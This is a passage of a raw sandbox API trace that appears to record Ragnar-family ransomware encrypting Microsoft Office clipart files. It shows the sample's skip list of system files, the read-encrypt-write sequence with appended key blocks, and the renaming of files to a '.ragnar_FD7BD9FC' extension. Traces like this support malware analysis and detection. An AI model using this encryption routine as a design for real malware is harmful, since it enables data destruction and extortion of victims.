lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.623] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01123_.WMF" | out: lpString1="NA01123_.WMF") returned="NA01123_.WMF" [0088.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF") returned=".WMF" [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="autorun.inf") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="boot.ini") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="bootfont.bin") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="bootsect.bak") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="bootmgr") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="bootmgr.efi") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.623] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="desktop.ini") returned 1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="iconcache.db") returned 1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="ntldr") returned -1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="ntuser.dat") returned -1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="ntuser.ini") returned -1 [0088.624] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="thumbs.db") returned -1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.624] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf")) returned 0x20 [0088.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.624] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7680) returned 1 [0088.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1df7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.625] GetProcessHeap () returned 0x580000 [0088.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.625] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.626] VirtualAlloc (lpAddress=0x0, dwSize=0x1e00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.626] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e00, lpOverlapped=0x0) returned 1 [0088.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e00, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.627] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e00, lpOverlapped=0x0) returned 1 [0088.627] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.628] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.628] GetProcessHeap () returned 0x580000 [0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.628] CloseHandle (hObject=0xf4) returned 1 [0088.628] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" [0088.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ragnar_FD7BD9FC" [0088.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.629] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0088.629] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.629] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01126_.WMF" | out: lpString1="NA01126_.WMF") returned="NA01126_.WMF" [0088.629] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF") returned=".WMF" [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="autorun.inf") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="boot.ini") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="bootfont.bin") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="bootsect.bak") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="bootmgr") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="bootmgr.efi") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="desktop.ini") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="iconcache.db") returned 1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="ntldr") returned -1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="ntuser.dat") returned -1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="ntuser.ini") returned -1 [0088.629] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="thumbs.db") returned -1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.630] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf")) returned 0x20 [0088.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.630] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2928) returned 1 [0088.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.630] GetProcessHeap () returned 0x580000 [0088.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.630] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.633] VirtualAlloc (lpAddress=0x0, dwSize=0xb70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.634] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb70, lpOverlapped=0x0) returned 1 [0088.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.634] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb70, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.634] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb70, lpOverlapped=0x0) returned 1 [0088.634] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.634] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.634] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.634] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.635] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.635] GetProcessHeap () returned 0x580000 [0088.635] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.635] CloseHandle (hObject=0xf4) returned 1 [0088.635] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" [0088.635] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ragnar_FD7BD9FC" [0088.635] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.635] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0088.635] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.636] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01130_.WMF" | out: lpString1="NA01130_.WMF") returned="NA01130_.WMF" [0088.636] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF") returned=".WMF" [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="autorun.inf") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="boot.ini") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="bootfont.bin") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="bootsect.bak") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="bootmgr") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="bootmgr.efi") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="desktop.ini") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="iconcache.db") returned 1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="ntldr") returned -1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="ntuser.dat") returned -1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="ntuser.ini") returned -1 [0088.636] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="thumbs.db") returned -1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.636] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf")) returned 0x20 [0088.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.637] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5792) returned 1 [0088.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1697, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.637] GetProcessHeap () returned 0x580000 [0088.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.637] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.639] VirtualAlloc (lpAddress=0x0, dwSize=0x16a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.639] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16a0, lpOverlapped=0x0) returned 1 [0088.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.641] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.641] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16a0, lpOverlapped=0x0) returned 1 [0088.641] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.641] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.642] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.642] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.642] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.642] GetProcessHeap () returned 0x580000 [0088.642] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.642] CloseHandle (hObject=0xf4) returned 1 [0088.642] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" [0088.642] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ragnar_FD7BD9FC" [0088.642] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.643] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0088.643] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.643] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01141_.WMF" | out: lpString1="NA01141_.WMF") returned="NA01141_.WMF" [0088.643] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF") returned=".WMF" [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="autorun.inf") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="boot.ini") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="bootfont.bin") returned 1 [0088.643] lstrcmpiW 